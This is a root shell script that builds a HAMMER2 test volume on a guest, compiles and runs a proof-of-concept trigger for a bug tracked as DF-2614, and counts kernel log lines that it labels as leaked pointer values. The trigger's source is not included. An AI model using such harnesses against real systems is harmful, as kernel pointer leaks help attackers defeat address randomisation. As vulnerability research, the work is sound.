#!/bin/sh
# DF-2614 guest-side trigger run: image prep + build + run + dmesg capture.
# All artifacts in /root/poc/df2614/.  Run as root on the guest.
set -x
D=/root/poc/df2614
mkdir -p $D
vnconfig -u vn0 2>/dev/null
dd if=/dev/zero of=$D/img bs=1m count=128 2>/dev/null
vnconfig -c vn0 $D/img
newfs_hammer2 -L testvol /dev/vn0 > $D/newfs.log 2>&1
mkdir -p /mnt/h2poc

cc -O -I/usr/src/sys -o $D/df2614_trigger $D/df2614_trigger.c > $D/cc.log 2>&1 || { cat $D/cc.log; exit 1; }

dmesg > $D/dmesg.before
$D/df2614_trigger 1000 > $D/trigger.out 2>&1
echo "TRIGGER_RC=$?"
sleep 1
dmesg > $D/dmesg.after

echo "=== baseline counts (before) ==="
B_VC=$(grep -c 'volconf update' $D/dmesg.before); echo "BEFORE_volconf=$B_VC"
B_RX=$(grep -c 'RCVMSG' $D/dmesg.before); echo "BEFORE_rcvmsg=$B_RX"

echo "=== new lines ==="
A_VC=$(grep -c 'volconf update' $D/dmesg.after); echo "AFTER_volconf=$A_VC"
A_RX=$(grep -c 'RCVMSG' $D/dmesg.after); echo "AFTER_rcvmsg=$A_RX"
echo "DELTA_volconf=$((A_VC - B_VC))"
echo "DELTA_rcvmsg=$((A_RX - B_RX))"
echo "--- volconf lines (the leaked pointer values) ---"
grep 'volconf update' $D/dmesg.after | tail -8
echo "--- TRANSMIT lines ---"
grep -c 'TRANSMIT VOLCONF' $D/dmesg.after || true
echo "--- RCVMSG sample ---"
grep 'RCVMSG' $D/dmesg.after | head -3
echo "--- trigger stdout ---"
cat $D/trigger.out
vnconfig -u vn0 2>/dev/null
echo RUN_DF2614_DONE
